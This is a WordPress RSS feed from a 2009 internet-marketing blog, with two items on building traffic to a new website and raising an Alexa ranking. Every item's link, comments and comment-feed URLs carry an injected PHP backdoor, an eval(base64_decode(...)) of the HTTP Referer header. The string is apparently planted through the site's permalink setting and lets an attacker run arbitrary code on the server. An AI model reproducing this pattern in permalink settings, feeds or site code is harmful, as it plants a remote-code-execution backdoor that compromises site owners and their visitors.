<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GamblerMan &#187; Daily Basis</title>
	<atom:link href="http://www.gamblerman.com/tag/daily-basis/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gamblerman.com</link>
	<description>News, Reviews &#38; Information about Internet Marketing, Affiliate Marketing and more</description>
	<lastBuildDate>Fri, 07 Aug 2009 01:18:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>7 Simple Ways To Build Traffic To A New Website</title>
		<link>http://www.gamblerman.com/2009/08/06/7-simple-ways-to-build-traffic-to-a-new-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.gamblerman.com/2009/08/06/7-simple-ways-to-build-traffic-to-a-new-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 01:18:35 +0000</pubDate>
		<dc:creator>Ross "The Pit Boss"</dc:creator>
				<category><![CDATA[Internet Marketing]]></category>
		<category><![CDATA[Main Content]]></category>
		<category><![CDATA[Build Traffic]]></category>
		<category><![CDATA[Business Owners]]></category>
		<category><![CDATA[Buying A Domain Name]]></category>
		<category><![CDATA[Consistent Basis]]></category>
		<category><![CDATA[Daily Basis]]></category>
		<category><![CDATA[Directories]]></category>
		<category><![CDATA[Drive Traffic]]></category>
		<category><![CDATA[Gorgeous Website]]></category>
		<category><![CDATA[Great Resources]]></category>
		<category><![CDATA[Hundreds Of Thousands]]></category>
		<category><![CDATA[Mistake]]></category>
		<category><![CDATA[Newcomers]]></category>
		<category><![CDATA[Relevant Content]]></category>
		<category><![CDATA[Score]]></category>
		<category><![CDATA[Storefront]]></category>
		<category><![CDATA[Term Goals]]></category>
		<category><![CDATA[Traffic Website]]></category>
		<category><![CDATA[Trifecta]]></category>
		<category><![CDATA[Truth]]></category>
		<category><![CDATA[What The Heck]]></category>

		<guid isPermaLink="false">http://www.gamblerman.com/?p=288</guid>
		<description><![CDATA[Got a brand new website? That&#8217;s great, but nobody cares.
OK, maybe that&#8217;s a little harsh. The truth, however, is that just having a website doesn&#8217;t get you much. Many business owners I meet are surprised to find, once we look at the numbers, that the shiny new site they had built not too long ago [...]]]></description>
		<wfw:commentRss>http://www.gamblerman.com/2009/08/06/7-simple-ways-to-build-traffic-to-a-new-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Free and Easy Ways to Improve Your Alexa Ranking</title>
		<link>http://www.gamblerman.com/2009/08/05/10-free-and-easy-ways-to-improve-your-alexa-ranking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.gamblerman.com/2009/08/05/10-free-and-easy-ways-to-improve-your-alexa-ranking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 06:57:14 +0000</pubDate>
		<dc:creator>Ross "The Pit Boss"</dc:creator>
				<category><![CDATA[Internet Marketing]]></category>
		<category><![CDATA[Main Content]]></category>
		<category><![CDATA[10 Million]]></category>
		<category><![CDATA[Advertisers]]></category>
		<category><![CDATA[Aggregate Data]]></category>
		<category><![CDATA[Alexa]]></category>
		<category><![CDATA[Alexa Ranking]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Approximations]]></category>
		<category><![CDATA[Blogspot]]></category>
		<category><![CDATA[Daily Basis]]></category>
		<category><![CDATA[Data Sources]]></category>
		<category><![CDATA[Free Toolbar]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet Users]]></category>
		<category><![CDATA[Maximum Exposure]]></category>
		<category><![CDATA[Methodology]]></category>
		<category><![CDATA[Million Times]]></category>
		<category><![CDATA[Money Websites]]></category>
		<category><![CDATA[Page Views]]></category>
		<category><![CDATA[Popularity]]></category>
		<category><![CDATA[Quantities]]></category>
		<category><![CDATA[Surfing Patterns]]></category>
		<category><![CDATA[Three Months]]></category>
		<category><![CDATA[Traffic Data]]></category>

		<guid isPermaLink="false">http://www.gamblerman.com/?p=282</guid>
		<description><![CDATA[Alexa, which is owned by Amazon.com, gives away a free toolbar that you can download and install in your browser. Alexa is then able to keep track of the sites you visit and compute the traffic ranking of those websites, with a rank of &#8220;1&#8243; being the assigned to the most visited site.
If you want [...]]]></description>
		<wfw:commentRss>http://www.gamblerman.com/2009/08/05/10-free-and-easy-ways-to-improve-your-alexa-ranking/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
